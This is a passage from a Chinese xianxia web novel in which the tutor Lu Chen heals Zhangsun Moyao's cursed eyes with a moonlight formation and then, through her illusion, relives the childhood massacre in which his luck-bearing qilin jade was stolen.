就在众人都以为要打个昏天黑地你死我活之时,昆仑圣地竟有使者临空而来,宣告百朝大战将至,莫要再起争端。
以圣地之威名,火德宗自然不敢再有任何举动,只能放下句狠话,灰溜溜的跑回大炎皇朝。
昆仑圣地使者恰好在那日出现,则是因为陆尘修书一封於长孙漠遥,托其向昆仑圣地禀告此事,不然以大离王朝这一小地,又怎会引得昆仑圣地使者驻足。
外界剑拔弩张,陆尘在修书一封后却是不再问尘事,只躲在自己的木竹屋内修行《太上开天经》,每日傍晚时去井中世界爱心献血一波。
“昨日怎麽没来?”
陆尘自皇宫回来后,苏月仙紧盯着陆尘问道。
“昨日有事耽搁了,若不是你赠我的那道符文,恐怕就回不来了。”
陆尘目光稍稍偏移,属实受不了苏月仙这般目光,好像自己做了什麽亏心事一般。
“不过确实好用,还有吗?”
“没有了。”
“你不是随手一画就有吗?”
“哪有那麽简单!”
说这话时,苏月仙一口咬在陆尘手臂上,显然带了些许的个人情绪,令陆尘有些发疼。
“若你来不了,提前和我说,不然我会以为你不来了。”
苏月仙嘴角血迹斑斑,她抬起头看着陆尘,十分认真的说道。
她眸子里的神情复杂,竟然真的有些许害怕。
很难想象,当年那个一人一剑杀穿整个东域的女魔头,眼里竟会流露出害怕的神情。
就好像是流浪很久的小猫被人捡回家后却并不欣喜,反而时刻担忧着自己是否会再被人抛下。
陆尘看着苏月仙的眸子,忽地一愣,心中像是有什麽东西被触动一般。
“我会一直在。”
他郑重说道。
苏月仙小鸡啄米一般的连连点头。
“所以那符文还有吗?”
“滚。”
魔道气息毕露,杀意如剑。
“得勒。”
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陆尘撒腿就跑。
回想起当日情景,陆尘倒不免觉得好笑。
“夫子!”
银铃般清脆的声音自屋外传出,陆尘推门而出,见长孙漠遥盈盈而立,依旧是一袭白衣,赤足红瞳。
他抬头看了一眼月亮,此时明月当空,犹如玉盘。
眨眼之间,已至八月十五。
…………
大离,妖兽山脉。
月色之下,一清瘦少年竟背着一柄硕大无比的重剑,攀爬着崎岖不平的山路。
他的身旁有一道虚影,是一位白发白须的老䭾,正眯眼笑着看向少年。
历经艰辛,少年终於站在山顶之上,猛的拔下那柄巨剑,以举火燎天之势一劈。
这般威势,竟是直接惊动山脉之中蛰伏的妖兽们,令吼叫之声不绝於耳。
“老师,此次大离演武我们要去吗?”
少年名为林炎,正是那遭皇室小公主退婚之人。
当初经陆尘提点后,林炎成功将藏在灵石中的老䭾唤醒,自此
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後便在老䭾的指点下在大离各地闯荡,如今已是重返道台境界,且因修习老䭾所授予的玄妙心法,已经吸收了两种异火。
此时虽只是道台境界,却能与紫府强䭾相抗衡。
“自然要去,百朝大战,那才是真正的天骄汇聚之地,回想起那段岁月,真的让人怀念啊”
老䭾
抚须轻笑,眸子里闪过些许追忆神色。
林炎目视远方,周身有着异火旋绕。
“三十年河东,三十年河西,莫欺少年穷!”
…………
大炎皇朝,百花阁。
一少女周身百花缭绕,大摇大摆的闯进百花阁之中。
阁中之人感受到少女身上的恐怖气息,立即启动护宗大阵,企图将眼前这极度危险的少女镇压。
少女却丝毫不惧,眼神平淡,如古井一般波澜不动。
明明是少女模样,可从那双眼眸看来,却好像活了很多很多年一般。
“小夭,还不出来见吾?”
少女忽地开口说道。
在百花阁众人诧异目光之中,一宫装美妇竟忽地出现在大阵之中,向少女虔诚下跪。
阁中之人竟皆大惊,属实是想象不到,自家宗门常年闭关不出的老祖竟会向一少女下跪,而且听那少女所言,似乎还是自家老祖的长辈?
“小姐,您回来了。”
宫装美妇抬起头,已是满面泪痕。
“百朝会战,吾亲自去,此外密切注意大离王朝白鹿书院一位名为陆尘的夫子,有他的任何消息都要向吾禀告。”
少女冷声而语,并未因宫装美妇那满面泪痕有任何的情绪波动。
宫装美妇并未有何不满,神情依旧无比恭谨虔诚。
“若在百朝大战之地相遇,吾会亲手杀了你,断了心中这杂念。”
少女自顾自的念道。
没走两步,她忽地捂住自己的胸口,觉得心微微的有些发痛,像是有泪在心口滴落一般。
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第三十三章 月华落
月色洒落下,陆尘二人身影跳动,不过瞬息间,便落在当初聚会所在的山顶之上。
“夫子真是好手段。”
长孙漠遥浅笑一声,猩红色的双瞳直勾勾的盯着陆尘。
不知是因为少女那浅笑之意还是眼角下的那颗泪痣,总之一举一动都有着一股魅惑之意,像是狡黠的狐狸一般。
她脚步轻点,那脚腕上的银铃便会不断的作响,清脆至极,如同山间的清泉拍打在青石之上。
陆尘视线往下稍稍一瞥,倒不是为了看那双玉足,只是为了看清那银铃。
不出他所料,果然是件位阶极高的灵宝。
“什麽手段?”
陆尘回过神来,有些疑惑问道。
“大离皇宫内死了名神游境大修士,并非是外界所传新帝登基,藉由祖器镇杀,是夫子动的手。”
长孙漠遥笑吟吟说道,气息热如幽兰。
“这你也知道?”
陆尘眉头微皱。
“夫子安心啦,只有冷月宫知道,其他宗门安插在大离皇宫的暗探,我都叫人杀了。”
长孙漠遥又道。
她脸上笑容依旧,十分轻描淡写的说道,似乎那些人命对其而言毫无意义,死了便是死了。
陆尘对此也并未多说什麽,修行界不过弱肉强食而已,长孙漠遥站在高处,自然可以随心所欲。
对於陆尘而言,修士间怎样算计拼杀,以大欺小,恃强凌弱都不过分,只有无缘无故的大肆屠杀平民,陆尘才会觉得是真该死。
相较之下,年纪不大的长孙漠遥身上反而充满着一股妖女气息,而苏月仙则更像是涉世未深的少女一般。
“在此处坐下,待得阵起之时,藉由月之精华,饮用那八品仙草晨露即可。”
陆尘将长孙漠遥带往阵基之中说道。
长孙漠遥也并未有丝毫犹豫,十分坦然的迈㣉那阵基之中。
天边处,有一位宫装美妇看着眼前水镜折射出的画面,微微皱了皱眉。
她身旁黑影单膝下跪,朗声而言:“那人有能击杀神游境强者的手段,小姐又如此相信他,随意踏㣉不明阵基之中,还请宫主大人准许属下前去保护小姐安危,以防此子别有用心。”
宫装美妇沉吟片刻,还是摇了摇头。
“既然是漠遥自己的选择,那接着看便是了。”
话虽如此说,但宫装美妇眼中的担忧之色却并减少分毫。
山峰之上,陆尘双手结印,口中吟念阵词。
这月灵阵位阶虽不高,但亦是陆尘花了大价钱自拍卖场下拍卖,几乎等同於半部《大炎焚心》的价钱。
月灵阵并非是什麽杀伐阵法,而是辅助修行之阵,对修习月属心法之人大有裨益。
此时阵起,银白色的光在一瞬之间涌动,圆月状的图案缓缓浮现在阵基之中,显得无比瑰丽。
长孙漠遥盘腿㣉定,那银白色的光落在她的白纱之上,更显的整个人空灵出尘,好似不沾惹丝毫的世间烟尘。
陆尘紧紧盯着长孙漠遥,这倒并非是担心生出什麽变故,单纯是欣赏美得眼光而已。
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另一边那道黑影看到陆尘这幅神情,咬牙切齿,恨不得冲到那边狠狠地刀了他。
“宫主大人,这小子属实无礼,请准许属下教训他一番。”
黑影单膝跪地,异常气愤的说道。
宫装美妇眉头紧蹙,神色冰冷。
“若漠遥有异,杀了他,若没有,你就先闭嘴。”
她的声音好像一把短刃,斩钉截铁,锋芒毕露。
水镜之中,原本还在紧盯着长孙漠遥的陆尘忽地转头,凭空对着某个方位轻声笑了起来。
他眸子眯起,嘴角有浅浅笑意,虽是在笑,却又好似讥讽。
宫装美妇冷哼一声,将那镜子打碎。
“这小子放肆!胆敢如此无礼!我这就去杀了他!”
黑影见陆尘察觉到自己被水镜映照,竟还敢挑衅一番,当即暴怒一呵,周遭灵气宣泄而出。
“闭嘴。”
似乎是被那黑影吵的有些烦了,宫装美妇虚空扇了一掌,当即令那黑影安静了下来,慌忙跪伏在地。
“莫要以为我不知晓你对漠遥打着什麽主意,哪怕此人不是漠遥良缘,也会有其他真正的天之骄子与她同行,你要记住,漠遥她是要走上帝路之人,
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不是你所可以企及的,趁早断了这心思。”
“若不是看在你早逝母亲的份上,你这般多次逾越,早便废了你。”
宫装美妇有些厌恶的说道。
“属下知错。”
黑影磕头跪地,将头埋得很深,深到连他自己也不知晓自己脸上此刻是何神情。
山峰处,随着月光洒落,长孙漠遥整个人便恍若被银白色的轻纱给笼罩了一般,朦朦胧胧间有一股异常的美感。
陆尘取出长孙漠遥交於自己的玉瓶,施法将之打开。
只见晶莹剔透,好似水珠一般的晨露缓慢漂浮到长孙漠遥的面前,散发着一股仙草的
药香。
月华照耀,那晨露便是极为通人性般的飞入长孙漠遥眉心之处,一瞬间便消失不见。
只见长孙漠遥忽地尖叫一声,面色苍白,显得十分痛苦,那银霜般的月光此时也不再柔和,而像是银色的雨箭一般落下,令她的面色逐渐显得些许狰狞。
天边处,宫装美妇虽面不改色,但心却被提到了嗓子眼,身上的灵气不自觉的溢出,形成一股分外公布的威压。
那黑影也死死的盯着水镜,眼神闪过一丝狠厉之色。
陆尘反倒是不慌不忙的站在原地,与自己修行混沌气以及吸收精血相比,这点痛苦才哪到哪。
再者长孙漠遥可不是什麽娇滴滴的小姑娘,受点疼就会意识涣散崩溃。
要知道自己与其初见之时,不过是多看了她两眼,少女便笑着说要挖掉自己的眼睛,瞧瞧多吓人。
这般妖女,只会觉得越是腥风血雨便越是好事,不可能会乖乖巧巧,柔柔弱弱的。
如陆尘所预料的那般,那月光越是凌厉,长孙漠遥脸上的神情便越是坚毅,好似心如玄铁一般。
上阳境二转,上阳境三转!
少女身上的气息不断攀升,犹如喷涌而起的水柱一般惊人。
良久后,长孙漠遥张开双眸,此时双眸清澈若小谭,已经再无半点血色。
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第三十四章 妖女
“夫子!好了!”
长孙漠遥原地跳起,脸上满是欣喜之色,此时此刻倒不像是什麽小妖女,而像是馋了很久桂花糕的小女孩终於吃着了一般。
幻瞳於她而言,属实是件异常痛苦的事,不仅在於自己要时时刻刻的压制自身修为,更多的还是提心吊胆的连冥想都害怕。
修士大多以入定冥想来代替休憩,而每当少女入定冥想时,便总会受自身的幻瞳影响,堕入梦境之中,挣扎在梦魇之下。
久而久之,少女便不敢全身心的冥想,也不敢全身心的入睡,始终吊着一颗心,以防自己堕入梦境之中。
这是折磨,是令人常人所难以忍受的折磨。
长孙漠遥性情乖戾,多少也是受此影响。
【夫子之责行使完毕】
【宿主将获得大量回馈奖励】
【一:小神通——《大梦乖离》(上古大妖梦魔所负神通,可使人堕入幻镜之中,道心不定者将沉沦其中不得脱身)】
【二:五百年紫府修为】
【三:天阶上品灵宝——天月之轮(杀伐类法宝,常时可吸收天地之月华,对敌时月华倾斜而出,如寒刃袭人,非大能不可敌】
就在长孙漠遥欢呼之时,系统的机械声音也在陆尘耳边响起,陆尘倒并未急着吸收这些奖励,而是转头望向某个方向。
“前辈应该放心了吧。”
水镜之中,那位身着青衫的夫子轻笑道。
此时宫装美妇心中亦是有一块大石落地,当下收敛灵气,稍一挥袖,便是出现在了陆尘身前。
妇人身着华贵宫装,有风吹过,那衣摆便是随风照耀,如同是云彩在天际间漂浮一般,她的美眸深邃,红唇微微勾起,带着一抹令人有些捉摸不透的笑意。
其身旁还站着位身着黑袍的男子,年纪不大,剑眉星目,棱角分明,明明是一副俊郎模样,眼睛里却有着十足的怨气。
“娘亲!您怎麽来了?”
见宫装美妇忽地出现在山峰之上,长孙漠遥惊呼一声,显然是吃了一惊。
冷月宫宫主宠溺的看了她一眼,并未过多解释什麽便转向陆尘。
“大恩不言谢,夫子有何需求,可尽管提,本宫绝不说个不字。”
她并未多说什麽客套话,只是笑吟吟的看着陆尘,神情柔和,不再像先前盯着水镜那般冷漠。
“哪怕是漠遥……夫子若有心……”
冷月宫宫主又稍许压低声音,如水般温润的眸子扫视着陆尘,嘴角勾起,带着股魅人之色。
陆尘赶忙摇头。
他可算是知道长孙漠遥这性子是随谁的了。
“前辈言重了,若前辈不想欠什麽人情,晚辈倒是有一事相求。”
陆尘想了想说道。
自己毕竟帮了一个大忙,要真是别无所求什麽都不要,那确实是有些诡异了。
“但说无妨。”
冷月宫宫主点了点头说道,眼中笑意更甚。
她并不怕陆尘狮子大开口,反而是怕陆尘什麽都不要。
“麻烦前辈帮我搜集这几份药材的讯息,只要讯息就好。”
陆尘手指凭空写了几份药材,皆是炼制九转丹药所需之物。
虽说以他如今的实力想要搜集到这些药材无异於痴人说梦,但搜集些大概讯息还是可以做到的。
见陆尘所写的这几份药材,冷月宫宫主郑重点头。
她当然清楚这些东西都是炼制九品丹药所需,那麽什麽人会需要九品丹药呢?
至尊!乃至於其上。
其实当长孙漠遥与莫清寒从白鹿书院回去时,她便已经将陆尘的一切调查的一清二楚。
得出的结果令她很意外,那便是这是个平凡到再平凡不过的修士了。
修行缓慢,天资平平,一生无大起,也无大落,与芸芸众生无二。
可这样的人生越是平淡,她便越是觉得可怕。
长孙漠遥那连那些高品药师都无法解决的问题,竟然被这麽一个平凡之人一语点破?
她能得出的结论只有一个,那就是这位平平无奇的夫子身後有一位大能,且位阶极高,这才能遮蔽天日,让这夫子显得平平无奇。
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如今见陆尘搜集九品丹药的药材,更加令冷月宫宫主坚信这一点。
要知道那般大人物,哪怕因某些缘故需要隐藏起来,可一旦稍稍显露实力,那可是足以掀起风暴,将冷月宫扫的一乾二净。
想到此处,冷月宫宫主对陆尘也不免忌惮恭敬起来,不再像先前那般笑意绵绵。
“夫子所托,冷月宫必定倾力为之。”
冷月宫宫主郑重说道。
陆尘对其忽然变得这般严肃也有些一头雾水,当下只能尬笑两声,将目光偏移开来。
这目光一转,便又与那黑袍男子目光相撞。
不知为何,这人的眼中始终充满着一股怨气恨意。
陆尘想也不用多想,多半是长孙漠遥的舔狗跟班。
【姓名:云虎】
【年龄:二十一】
【境界:紫府境三重】
【命格:大凶之兆】
【生平:虽生身贫寒,但因其母与冷月宫宫
主有旧情,被带往冷月宫中,成为冷月宫圣女长孙漠遥护卫,从小喜欢长孙漠遥,但因二人身份天资差距过大,不敢表明心意,后在年十八时,下定决心表明心意,却遭拒绝,且被长孙漠遥刻意疏远,年二十一时由爱生恨,设局想要夺长孙漠遥清白,却没想到被长孙漠遥将计就计,反将一军,最终虽因其母旧情留得一条性命,但修为尽废,生不如死】
武道天眼下,云虎的生平尽如陆尘眼底,陆尘看向他的眼神,也便的十分复杂,像是在看着傻子一般。
怎麽想的去惹长孙漠遥?
这小妖女一句话轻描淡写,就把所有暗探给整死了,无论是心智手段还是心性修为,都远远不是这喜怒都写在脸上的云虎所能比拟的。
就这还要去招惹她,难怪落得个修为尽废的下场。
而云虎见到陆尘这般目光,眼中怒意更甚,若不是有冷月宫宫主在场,恨不得想上去撕了陆尘。
陆尘移开目光,摆出一副我可没惹你你却凶我的委屈模样
冷月宫宫主察觉到氛围不对,转头冷眼看向云虎,眼神如刀般锋利。
第三十五章 山庄
“夫子见谅。”
冷月宫宫主转过身来,看向陆尘道。
“无妨无妨。”
陆尘摇了摇头,也未再捉弄那云虎。
“漠遥,你陪夫子走走,我便不打扰你们了。”
“娘!乱说什麽呢!”
冷月宫宫主微微一笑,便欲离开,那黑袍男子似乎想要和长孙漠遥说些什麽,但遭冷月宫宫主一瞥,也便不敢多言,连忙跟着她离去。
山峰之上,便又只剩陆尘与长孙漠遥二人。
察觉到冷月宫宫主的气息果真消失,陆尘这才开口道:“有件事想你帮忙。”
长孙漠遥微微一愣,旋即又勾起嘴角,露出笑意。
“夫子但说无妨。”
“幻瞳可以将人拉入回忆之中吧,那如果我有某段失去的记忆,幻境之中也能复现吗?”
陆尘问道。
苏月仙所说的命格一事始终如钉子一般钉在陆尘心头,幼年时的记忆又是一片朦胧,什麽也看不清。
这令陆尘处於极为被动的状态,照苏月仙所说,夺舍之人将自己当做庄稼地,只等韭菜长熟了再收割。
这个收割的界限到底在何时?
如是能通过长孙漠遥的幻瞳将当年之事复现,陆尘自然好有所准备。
“幻瞳所创造的幻境,大抵有三类,一类是刻苦铭心的记忆,一类则是挥之不去的梦魇,另一类则是朝思暮想但在现实世界中不可能实现的场景,至於能否复现失去的记忆,那要看那段记忆是否深刻了。”
长孙漠遥并未嬉皮笑脸,此刻小脸板着,十分正经的说道。
“对我使用幻瞳吧。”
陆尘看向长孙漠遥说道。
即便那段记忆朦朦胧胧,但既然是气运被夺,命格遭篡改,这般头等大事,总归说的上是刻骨铭心吧。
长孙漠遥愣了愣神,眸子里流露些许担忧。
“我如今虽已能随心操纵幻瞳,但幻境难测,若是迷失其中……”
若是对别人动用瞳术,长孙漠遥自然不会操这个心,就如七月初七时对那楚星宇动用瞳术,她可不会管别人什麽死活,担心会发生什麽意外。
而陆尘有恩於自己,长孙漠遥自然不愿害了他。
“无妨,我心如玄铁。”
陆尘斩钉截铁的说道。
见陆尘这般果断,本就随心不守规矩的长孙漠遥自然不再多犹豫,当下双眸变得猩红,好似沾惹了鲜血一般。
红光自其眼中急掠而出,而後好像有一只无形的手拖拽着一般,令陆尘不自觉的堕入到另一个世界之中。
世界笼罩在红光之中,所有的光线都异常扭曲,如梦境一般迷离。
等陆尘能清晰的看清整个世界时,已经到了一处屋檐之上。
明月高悬,月光洒落。
有两人并肩坐在屋檐之上,少女依靠着少年肩头,眼底有笑意荡漾。
屋檐下仍是人声嘈杂,大抵是些汉子喝酒行的酒令。
屋檐上的两人却并未受这嘈杂声音所扰,一同看着繁星点点,说着些有的没的话。
偶然间视线交汇,彼此看着对方,眼中好像有什麽东西在泛滥着一般,如同是被石子激起波澜的溪水。
二人越靠越近,彼此好像能听到一阵一阵的心跳声。
看着眼前一幕,陆尘嘴角抽搐,这是给他送回到哪来了?
若是他没记错的话,这便是二人当初的定情之日。
当时五人俱在,与客栈之中的诸多豪侠俊杰饮酒,等夜深了些,二人便爬到屋檐之上,一同看着明月高悬。
直到现在,陆尘还记得自己故意吟的那句诗,虽说文绉绉的,但对於情窦初开的少女来说却最是动人。
“那是清寒姐姐吧,我说她怎麽道心始终静不下来,原来是与夫子有这般往事。”
长孙漠遥打趣道。
“不是这,再换一处吧。”
再见前尘往事,陆尘老脸通红,赶忙说道。
长孙漠遥娇笑一声,当下眸子里红光再闪,眼前场景瞬间消散,又换了一片新天地。
只见一片竹林之处,有一人衣衫被血染的鲜红,骑着一匹骏马狂奔而来,落叶因骏马踏出的疾风而更加飘零,萧萧瑟瑟的,好似是一首悲歌一般。
直到见着几道身影,那骏马才急停而下,而马背上的人翻身下马,
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跪倒在那几人面前。
“怪我!怪我没用,是我没有保护好大哥,没有把他好好的带回来。”
浑身是血的男人痛哭流涕,他披头散发的,神情疲惫而又悲伤。
其馀几人赶忙将他扶起,忙前忙后的照顾着男人。
看着这一幕,陆尘心底按耐着的杀意又抑制不住的涌上心头
当时谁也没有想到楚星宇在演戏,毕竟五人同生共死良久,又怎会想到大哥许端是死在自己人手中。
“再换一处吧。”
陆尘说道。
他属实不愿再看到眼前这一幕,就好像是多年前挥下的一刀,隔着层层帘幕终於落在了自己的身上一般。
见陆尘神色痛苦,长孙漠遥自然也知晓这并非他要找寻的丢失记忆,当下双眸一闭一睁,便又有红光掠
出,将天地换了颜色。
待到世界再复清明时,眼前已经是一片尸山血海。
乌云密密麻麻的压在天空之上,将天日遮蔽。
底下的山庄内满是尸体,血自那些尸堆之中流出,宛若小溪一般将整个山庄染的血红。
隐隐约约间,有着哭泣之声传出。
有个不大的小男孩从尸堆之中奋力爬出,那似乎已经用尽了他全部的力气,以至於坐在尸堆之上一动不动的。
他双目无神,看着周遭的一切,并未哭,也并未恐惧或是胆怯。
就好像是麻木的傀儡一般,除开机械的摆动外,已经没有其他的本能了。
陆尘看着眼前一幕,脑海之中忽地好像涌进了什麽,令他万分的头疼。
山庄之中,忽地有两道光点闪过,而後便有一稚童与一老者出现在尸堆的面前。
男孩盯着他们,眸子里没有任何的光亮,像是被硬生生的抽空了一般。
他掌心紧握着,似乎有什麽东西紧紧的攥着。
“无论何时,都要保护好这块玉。”
娘亲的声音仍在男孩的耳边回荡。
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第三十六章 麒麟玉失
“可因为这块玉,大家都死了。”
男孩心想着,目光向四处扫去。
父亲丶母亲丶大伯丶三叔丶婉婉姐……
他们的尸体都杂乱的横在血泊之中,脸上的神情是那麽的痛苦。
“匹夫无罪,怀璧其罪。”
老者看着眼前的尸山血海,乾笑了两声,身上披着的黑袍与血色相映照,令人感受到一股难以言喻的恐惧。
男孩紧盯着老者,什麽话也不说。
“古之麒麟衔玉而来,确实是天大的气运,但此运此命却并不在你,而是在我家小姐身上。”
“老夫也曾好言相商,却没想一群山野村夫,放着天大的好处不要,妄想留下这把握不住的气运。”
“既然如此,老夫自然不会顾忌这群蝼蚁的死活。”
老者自顾自的絮絮叨叨,风轻云淡间,便将整个山庄尸山血海的景象给一笔带过。
男孩看着他,原本呆滞无神的瞳孔终於有了一丝色彩,那是一股恨意,一股怨念极深的恨意。
而远处陆尘亦是随着那男孩眼眸之间涌出的恨意而感觉到了心口翻涌着什麽。
他不自觉的握紧拳头,鲜血也自拳中的缝隙之中渗出,缓缓的滴落在地。
画面之中,老者苍老布满老茧的手微微一抬,虚空一握,男孩便像是鸡子一般被人提了起来,他的面色苍白,口中发出吱吱呜呜的模糊不清的声音。
麒麟状的白玉自男孩的手中掉落,那稚童手一挥,白玉便落在了她的手中,散发着洁白无比,令世间都澄净几分的光。
看着手中的白玉,稚童的眼中亦是流露出浓浓的喜色。
这是个很漂亮的小女孩,像是瓷娃娃一般的精致,只是她的脸异常苍白,且总是冷着,十分淡漠,全然不似这个年纪的孩子该有的神情。
直到见到白玉的那一刻,稚童那淡漠的神色才有了些许的波澜。
她紧握着玉,有温热之感自那麒麟玉中传出,缓缓的传遍其全身,令那原些苍白的脸也终於红润了些许。
“你想要什麽?”
稚童踮起脚,看着被掐着脖子的男孩,很是认真的问道。
男孩连气都喘不过来,更别说是回她什麽话了。
稚童察觉到这一点,目光往身旁的老者身上一瞥。
老者当即放下那抬起的手,十分恭敬的退後一步。
那虚握的手一松开,男孩便从尸堆之上跌落下来,翻滚着摔倒在地,浑身沾满着血迹。
“我想要你死。”
血泊之中,男孩看着那稚童怒吼道。
稚童皱了皱眉。
“这玉可以救我,与我的命比起来,他们死得其所。”
她很认真的说道。
看着稚童这一脸淡然极其认真的神情,男孩更加愤怒,猛的冲上前去,想要扑倒狠狠教训这稚童。
只是他刚一起身,双腿便好像灌了铅一般的沉重,猛的又跪倒在地,挣扎不起半点。
“你可以随便提要求,我能给你的东西,他们再死十遍百遍也换不来。”
稚童有些疑惑,明明自己已经开出了很高的条件,为什麽他还是那麽的愤怒。
像是怒不可遏的狮子一样。
“你到底明不明白,那是人命啊!活生生的人命啊!不是你能用什麽东西来衡量的啊!”
男孩无助又无力的哭了起来,泪珠如斗大的晨露一般一颗一颗的砸落在地。
稚童还是十分疑惑,她不懂男孩为什麽要流出这样的表情。
这样愤怒而又悲伤的表情。
她忽地想起家乡的那座城头,每到傍晚时,她就会坐在城头之上,看海岸掀起的波浪一遍遍的冲刷着海岸上的尸体。
那才是真正的尸山血海。
密密麻麻的尸体堆积着将整个海岸填满,血腥味肆意飘散着,很刺鼻,但对女孩来说,却已经是习惯了的东西。
所以你到底在伤心愤怒些什麽呢?
女孩想问。
这样的东西,她已经日复一日的看了不知道多久。
“少主,是时候了……”
老者小心翼翼的问道。
女孩点了点头,伸出手掌,亮出那枚麒麟玉。
老者口中忽地沉吟起某个古老而又荒凉的咒言,像是荒古年代历经漫长岁月而流传下来的诗歌一般。
随着老者口
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中咒言的吟诵,稚童和男孩都漂浮起来,笼罩在一团白色的光雾之中。
白光从男孩的身体不断涌出,而後彷佛有一只无形的大手在聚拢白光,将之尽数送入到女孩体内。
麒麟玉在二人中间凭空漂浮着,有悲鸣自其中发出。
这个过程持续了很久,老者身上的气息也随着咒言而逐渐削薄消散。
待得咒言吟诵完毕,老者便形同枯木一般的跌倒在地,气息衰弱。
他看向那稚童,似乎想要说些什麽。
稚童攥着手中的麒麟玉,神情依旧淡漠,并未因气息微弱好似将死之人的老者而感到任何的悲伤。
“少主……麒麟玉乃天道青睐所生,虽用禁术亦无法完全剥离,老奴已在其身上留下禁制,待得少主踏入至尊之境时,可凭此
禁制寻他,夺得全部气运。”
“这孩子不能带回那边,若在夺得全部气运前被有心人杀了,少主亦会遭受牵连反噬。”
“留他在此处……老奴留下的禁制可保他回到少主踏入至尊的那天。”
他的气息本就极其微弱,此时又断断续续的说了这麽一大堆,当下更是垂危,好似下一刻便要彻底咽气。
这便是夺舍气运的禁忌之术代价,哪怕老者身为高高在上的至尊,依旧无法承受。
“少主,不要因为别人的话有所动摇,你注定是要登临帝位,君临天下的人,而他们和我,都只是帝路上的台阶而已。”
老者说完,便彻底咽下气来,再没有半点的生机。
看着眼前的老人,不知为何,稚童的心依旧极为的平静。
像是一口千年的古井,不会掀起一丝一毫的波澜。
她转过头,看向死死的盯着自己的男孩。
“我知道你想杀了我,虽然我不清楚这到底是为什麽。”
“但如果你想,那便来天渊寻我。”
稚童一板一眼的说道。
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第三十七章 天渊
稚童走到山庄门口,将要离开时,又忽地回头,目光所落之处,竟是陆尘与长孙漠遥站立之地。
她神情有些疑惑,眉头微微皱起,但很快得又舒展起来。
“我等你来杀我,或者,你等我来杀你。”
她的语气十分平淡,没有任何多馀的情绪波动,就好像这句话是和吃饭喝水一般极为平常的一句话。
稚童并不是对着男孩说的,而是对着陆尘本人。
一刹那间陆尘也有些愣神,脊背不禁有些发凉。
他看向那稚童的眼睛,想从其中寻找到些什麽,可她的眼里什麽都没有,平静如水,波澜不惊。
稚童离去后,男孩倚靠在尸山下,夕阳西下,黄昏馀光洒落,落寞而又寂寥。
如海潮般的记忆再度涌入陆尘的脑海之中,他想起来了。
全部都想起来了。
这些记忆本不该是他的记忆,可自己的灵魂早已和这具身体融合,根本不可能说将自己的情绪抽离出来。
当这些尘封的记忆再度涌入陆尘的脑海时,悲愤与杀意也再度涌上陆尘的心头。
他不再是一个看客,而彷佛是真正经历了那尸山血海的一天一般。
陆尘的脑海中闪过那些人倒在灵气威压之下的画面,所有人都好像蝼蚁一般,没有半点的抵抗之力。
他看到了稚童那双眸子,那双没有半点色彩,从不因任何东西而掀起波澜的眸子。
哪怕是那至尊境的老者为了她而死,也并不会令稚童有半点的感伤。
“夫子,得离开了!”
见陆尘神情变幻,好似要堕入幻镜之中,长孙漠遥脸色一变,当即双眸闭起,以自己的心念控制幻梦结束。
梦境轰然崩碎。
陆尘回到山峰之上,竟觉得万分疲惫,好似被抽空了什麽气力一般。
那些回忆仍不断地加之在他的脑海之中,好似永刻进自己的灵魂之中一般。
“天渊……”
陆尘并不知道这意味着什麽,哪怕他时常翻着一些残旧古籍,却依旧没有听说过这个地方。
至於那老者所说留在自己体内的禁制,想必是在自己吸收花神之蕊后消散,这才使得麒麟玉影在体内复现。
他晃了晃头,只觉得心口积压了太多东西。
当自己接收到金手指后,并未过上小说爽文中秒天秒地的逍遥日子,反而是一桩桩一件件的大事压在自己心头,就好像命运的指轮被一只无形的大手拨动后开始飞速旋转一般。
自己根本没有办法去停止。
“你知道天渊吗?”
良久后,陆尘神色终於恢复平静,脑海中也不再像先前那般杂乱迷茫。
“未曾听过。”
长孙漠遥摇了摇头。
对於她的答覆,陆尘也并未意外,毕竟自己博览群书也从未听过,长孙漠遥年纪尚小,又怎会知晓。
“虽说未听过,但我看得出,那女孩出身的势力极为恐怖,哪怕是她身边的那个老仆,实力也远超我大炎皇朝境内的所有修士。”
长孙漠遥看向陆尘,天不怕地不怕的小妖女脸上竟是显露出些许的担忧神色。
“没事,兵来将挡,水来土掩。”
陆尘说的极为写意,但心头却依旧有块大石压着。
如今自己的禁制已经解除,想必稚童那边也已经察觉到此番动静,至於她是会亲自来还是说只派手下来,无论是哪种,对陆尘而言都是极大的威胁。
毕竟随身一个老仆都是至尊境界的人,哪怕派出个手下来,境界恐怕也不容小觑。
“没事夫子!等那稚童到至尊境,我想必也到了。”
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长孙漠遥又笑了起来,笑声如银铃一般悦耳。
她脚尖踮起,旋了个身,面向远处重重叠叠的山峰。
脚腕处的银铃随风而响,令陆尘原本烦躁的心安静了不少。
二人有一句没一句的絮叨着,直到天将破晓时,才就此分离而去。
长孙漠遥是个十分随心少女,心中并没有太多关於是非善恶的概念,心里想着,便这般做了。
她也并不矫情,乃至於陆尘替她解决了这麽一个大麻烦,长孙漠遥也并未多说一句谢谢。
当然陆尘知晓,少女是个有恩必还,有仇必报之人,自然不会去计较这些细枝末节的东西。
……
白鹿书院,古井小世界。
与长孙漠遥分离后,陆尘马不停蹄的赶往古井小世界中,滴落指尖血将苏月仙唤醒。
“你身上怎麽有股香味?”
苏月仙醒来后,竟第一时间这般问道。
“可能染上什麽香料了,对了,你知道天渊吗?”
陆尘尴尬一笑,赶忙将话题扯开。
苏月仙是千年前的大人物,若连
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她都不知晓天渊是何物的话,那自己几乎只能坐等那稚童寻上门来了。
“天渊?你惹上天渊中人了?”
她眉头微蹙,反问道。
陆尘摇了摇头,将识海之中的那段回忆凝为水镜。
苏月仙玉手轻点,那段令陆尘异常痛苦的记忆便展现开来,如同是染上血迹的古画一般。
出乎陆尘的意料,他原以为苏月仙这般见过大场面的人并不会因为那山庄尸山血海的场景感到悲哀,却没想苏月仙的眼神幽幽,落在陆尘身上。
再一次的,陆尘从苏月仙身上看到那种流浪猫看见同类的眼神。
“天渊是北原极北之地的禁区,太古年间,人族与妖族掀起一场灭族之战,最後人族取胜,逐妖族於四海之外,其中一个渡口,便是在北原的极北之地。”
“后不知多少年过去,直到荒古纪元,群妖竖起战旗,自极北之地渡口重返,妄图趁人族无帝时,再起灭族之战,人族大能尽皆赶赴渡口,与妖族死战。”
“大战千年不止,直到一位几近帝位的巅峰修士以身死道消为代价,以身化阵,将此地变作禁区,这才终结了这场千年血战。”
“自此後,此地便是名为天渊的禁区,无人敢踏足,随着时间流逝,也鲜有人知晓。”
“直到荒古末年,中州一圣地一夜覆灭,而犯宗者不过是一位自称天渊来人的少年与一位老者,五域之人才再度回忆那座名为天渊的禁区。”
